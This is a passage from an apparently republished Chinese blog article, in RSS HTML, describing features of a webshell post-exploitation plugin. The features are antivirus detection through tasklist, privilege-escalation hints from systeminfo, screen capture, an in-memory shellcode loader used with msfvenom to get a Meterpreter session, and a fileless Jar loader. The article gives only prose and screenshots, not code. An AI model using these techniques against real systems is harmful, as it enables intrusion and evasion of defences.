data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616723070092-c189c186-b482-4a68-af3f-e7c5ee9495f2.png%22%2C%22originWidth%22%3A1284%2C%22originHeight%22%3A870%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Afalse%2C%22bottom%22%3Afalse%7D%2C%22width%22%3A1284%2C%22height%22%3A870%7D"><img data-height="870px" data-ratio="0.677570093457944" title="image" data-type="png" data-w="1284" style="visibility: visible;width: 1284px;" src="https://wechat2rss.xlab.app/img-proxy/?k=50a72129&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9A5wbmoib4C959ubApPOcoxjTZW9atXPN9UyT48NxzrYo7FqdIebXEJA%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="c358dddc491092123096ebbfe653225f" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">在哥斯拉中连接成功</p><p data-lake-id="7687104e81d26ea09c06322338daa328" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616723070168-2c0cf3c5-bae9-4276-a82b-7388206600fd.png%22%2C%22originWidth%22%3A596%2C%22originHeight%22%3A642%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Afalse%2C%22bottom%22%3Afalse%7D%2C%22width%22%3A596%2C%22height%22%3A642%7D"><img data-height="642px" data-ratio="1.0771812080536913" title="image" data-type="png" data-w="596" style="visibility: visible;width: 596px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2ab8dc8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG99IYibbloSICWIIhXSsLeEfXLBicAsN5IbVGaEXtTMRQgpGbiaonNpweqA%2F640%3Fwx_fmt%3Dpng"/></span></p><h3 data-lake-id="646be2244f21dc6ae9e9c5a7b95ebc71" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;text-align: center;">杀软识别</h3><blockquote style="padding-left: 1em;margin-top: 5px;margin-bottom: 5px;border-left-color: rgb(238, 238, 238);opacity: 0.6;"><p data-lake-id="7191cdcfa981f3988ea0dd5d30957499" data-wording="true" style="color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">数据来源是key师傅的项目：avList</p></blockquote><p data-lake-id="29328958652d1049c8b787c97cd03183" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">通过<code style="font-size: inherit;background-color: rgba(0, 0, 0, 0.06);padding-right: 2px;padding-left: 2px;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;line-height: inherit;overflow-wrap: break-word;">tasklist /svc</code>获取当前进程列表，识别出其中的杀软。</p><p data-lake-id="8e387b735696de80ffce500f18e86223" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">支持类型：php/jsp/aspx</p><p data-lake-id="3a6eaec52426c9b26baf6e740ebecebc" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">目前支持手动跟自动两种获取方式：</p><ul data-lake-id="b9f1db62644425f818df6ae7c41a9f07" lake-indent="0" style="padding-left: 23px;font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;" class="list-paddingleft-2"><li><p>自动获取<br/>自动执行<code style="font-size: inherit;background-color: rgba(0, 0, 0, 0.06);padding-right: 2px;padding-left: 2px;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;line-height: inherit;overflow-wrap: break-word;">tasklist /svc</code>并分析回显数据。<br/></p></li><li><p>手动获取<br/>手动输入<code style="font-size: inherit;background-color: rgba(0, 0, 0, 0.06);padding-right: 2px;padding-left: 2px;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;line-height: inherit;overflow-wrap: break-word;">tasklist /svc</code>的结果。<br/><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616723070862-3a84df77-63d0-49bf-805c-6da597e33749.png%22%2C%22originWidth%22%3A1271%2C%22originHeight%22%3A862%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Afalse%2C%22bottom%22%3Afalse%7D%2C%22width%22%3A1271%2C%22height%22%3A862%7D"><img data-height="862px" data-ratio="0.6782061369000787" title="image" data-type="png" data-w="1271" style="visibility: visible;width: 1271px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f7a14285&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9g4wyzqnc1T8Dxbfu6kPPcd6hbrbDl9p7MYnrHOic5fibodw3g5LGbDAQ%2F640%3Fwx_fmt%3Dpng"/></span><br/></p></li></ul><h3 data-lake-id="80f683b1893593568274081c7972562b" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;text-align: center;">提权辅助</h3><p data-lake-id="7f81d9f2ad6e5e6a53186e77163381e2" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">通过<code style="font-size: inherit;background-color: rgba(0, 0, 0, 0.06);padding-right: 2px;padding-left: 2px;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;line-height: inherit;overflow-wrap: break-word;">systeminfo</code>来获取补丁信息，从而给出提权建议。</p><p data-lake-id="54f80871c2b7d6fcbb99f3a6e96dddff" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">支持类型：php/jsp/aspx</p><p data-lake-id="94553ea07cacf9d0d2c78da1b0bd82a0" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">同样支持手动跟自动两种获取方式。</p><p data-lake-id="d2d73d687b6400b6c184a841ec4fd46f" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616723070944-eee45771-078e-4459-8e7f-e9b3d3b1ef05.png%22%2C%22originWidth%22%3A1268%2C%22originHeight%22%3A872%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Afalse%2C%22bottom%22%3Afalse%7D%2C%22width%22%3A1268%2C%22height%22%3A872%7D"><img data-height="872px" data-ratio="0.6876971608832808" title="image" data-type="png" data-w="1268" style="visibility: visible;width: 1268px;" src="https://wechat2rss.xlab.app/img-proxy/?k=62c5763b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9VI1AsgO0gKvAHuOAYkv6N7mvOjT9z2NqOibiaiaCxw9hC3RqHqMNprR7Q%2F640%3Fwx_fmt%3Dpng"/></span></p><h3 data-lake-id="98b376006449508a2946c0a13b0679f2" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;text-align: center;">屏幕截图</h3><p data-lake-id="8c92fb7e54e934fc7fe8ba85bf5ca47e" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">获取目标当前屏幕截图。</p><p data-lake-id="c299b5410284edbc1fecaed905254e1d" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">支持类型：jsp/aspx</p><p data-lake-id="eaa0a00c04f31ade9b2ccd14dc0a2a9b" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616723071039-6cc28aba-0288-4990-9c22-b6af0acaafde.png%22%2C%22originWidth%22%3A1313%2C%22originHeight%22%3A906%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Afalse%2C%22bottom%22%3Afalse%7D%2C%22width%22%3A1313%2C%22height%22%3A906%7D"><img data-height="906px" data-ratio="0.69002284843869" title="image" data-type="png" data-w="1313" style="visibility: visible;width: 1313px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d7545ead&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9UvO6Ps8pUunBmvgsnnyz9lhlfPqvPocTy92LkVogMm3hYYibTgZ8okg%2F640%3Fwx_fmt%3Dpng"/></span></p><h3 data-lake-id="1aa370be196913e62c32d751d0b02c75" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;text-align: center;">ShellCode加载器</h3><p data-lake-id="ada29d3e3c15a891f6c2822cfcb5cfbb" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">加载shellcode至内存运行。（shellcode为hex格式，且不能有多余空格或换行）</p><p data-lake-id="e96dda48a4f5ae1d7b4bdea2afa515f7" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">支持类型：aspx</p><p data-lake-id="e6664e3855e8b553b678b302c8bb537b" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">以msf为例：msfvenom生成hex格式的shellcode</p><p data-lake-id="42c559b32d393ebfadd8e9b724aeafd9" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616723071167-d7d96f40-f62b-4671-8e00-af8c4a8a23cf.png%22%2C%22originWidth%22%3A1196%2C%22originHeight%22%3A370%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Afalse%2C%22bottom%22%3Afalse%7D%2C%22width%22%3A1196%2C%22height%22%3A370%7D"><img data-height="370px" data-ratio="0.3093645484949833" title="image" data-type="png" data-w="1196" style="visibility: visible;width: 1196px;" src="https://wechat2rss.xlab.app/img-proxy/?k=72248cb8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9uI3RhKUKfWbJVPVcXyvyYg81gMFKRYtWF8KyXMMwN5wrRgOP7y9ib8w%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="b5f8f2e8c5a0fe076e0fcf92a7e7e305" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">粘贴进输入框，点击<code style="font-size: inherit;background-color: rgba(0, 0, 0, 0.06);padding-right: 2px;padding-left: 2px;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;line-height: inherit;overflow-wrap: break-word;">exploit</code></p><p data-lake-id="266e932071fb598d5eb167ab1519c45a" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616723071267-a6fc7022-24df-45c6-b917-ee0bf8dd1970.png%22%2C%22originWidth%22%3A1269%2C%22originHeight%22%3A872%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Afalse%2C%22bottom%22%3Afalse%7D%2C%22width%22%3A1269%2C%22height%22%3A872%7D"><img data-height="872px" data-ratio="0.6871552403467297" title="image" data-type="png" data-w="1269" style="visibility: visible;width: 1269px;" src="https://wechat2rss.xlab.app/img-proxy/?k=6225c380&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9chyRhCGWuRPL2vCWic4YuCdVL7DpKPPjhTQLcRmeWYib78HXzftBGTSg%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="210aea97ed11e5101fab3188bd6ca52a" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">收到Meterpreter会话</p><p data-lake-id="47f400b00479e7a9dc77e838f40ca2ae" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616723071688-17d8fdc8-3d84-460d-823a-55ad360ccae0.png%22%2C%22originWidth%22%3A1057%2C%22originHeight%22%3A541%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Afalse%2C%22bottom%22%3Afalse%7D%2C%22width%22%3A1057%2C%22height%22%3A541%7D"><img data-height="541px" data-ratio="0.5118259224219489" title="image" data-type="png" data-w="1057" style="visibility: visible;width: 1057px;" src="https://wechat2rss.xlab.app/img-proxy/?k=04ae54b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9qoo4OxVSuqMLsMOgoXt3D7ibSdSsHZ3EgsoYibadBWrGVfodicrtYgLkw%2F640%3Fwx_fmt%3Dpng"/></span></p><h3 data-lake-id="4e0ddc1a927b5cfdfacd91e27d9184e5" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;text-align: center;">Jar加载器</h3><p data-lake-id="65732bcfa5d5f6625a8fd52976fa03d7" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">加载Jar到JVM内存中。过程中文件不落地，可用于上传数据库驱动等。</p><p data-lake-id="d1fcd52f4705e3daefcb2b5e4fb05f87" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">支持类型：jsp</p><p data-lake-id="d0a3f7cdff439bc4819a600c004459b6" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616723072100-b0da663d-a7b8-4b6d-a0c2-23a7900af9e8.png%22%2C%22originWidth%22%3A1056%2C%22originHeight%22%3A787%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%22%2C%22margin%22%3A%7B%22top%22%3Afalse%2C%22bottom%22%3Afalse%7D%2C%22width%22%3A1056%2C%22height%22%3A787%7D"><img data-height="787px" data-ratio="0.7452651515151515" title="image" data-type="png" data-w="1056" style="visibility: visible;width: 1056px;" src="https://wechat2rss.xlab.app/img-proxy/?k=40717d37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9R5JCswgkAohEUMMZ3Z3UQHSPoZOxzkys2oFlicE0jkKnXiavMk9vLeyA%2F640%3Fwx_fmt%3Dpng"/></span></p><h2 data-lake-id="0d8c05048baf47f4e66a167ca82c25dd" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 24px;line-height: 32px;"><br/></h2><h2 data-lake-id="0d8c05048baf47f4e66a167ca82c25dd" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 24px;line-height: 32px;">注意事项</h2><p data-lake-id="448184967ba688cf6f0a72a6db54f669" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">本插件仅供合法的渗透测试以及爱好者参考学习，请勿用于非法用途，否则自行承担相关责任。</p><p><br/></p><hr style="white-space: normal;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="white-space: normal;text-align: center;"><br/></p><p style="white-space: normal;text-align: center;"><img data-copyright="0" data-ratio="1" data-s="300,640" style="height: 198px;width: 198px;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=a606fcfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy3kYxrKTnbxKyJeZhmfzqjkiaA1gWNNFdGMgnpWbicm1mzDFq0Sicfzv5HPHqRlyuDDeUHTE8QJpm9FQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="white-space: normal;text-align: center;"><span style="font-size: 12px;color: rgb(136, 136, 136);">不如关注一波再走？</span></p><p style="white-space: normal;"><br/></p>



<p><a href="https://github.com/yzddmr6/As-Exploits">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6c4027dc&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484155%26idx%3D1%26sn%3Db8fb5132c28c2c6e11afb3b65b6194eb%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 04 Apr 2021 19:18:00 +0800</pubDate>
    </item>
  </channel>
</rss>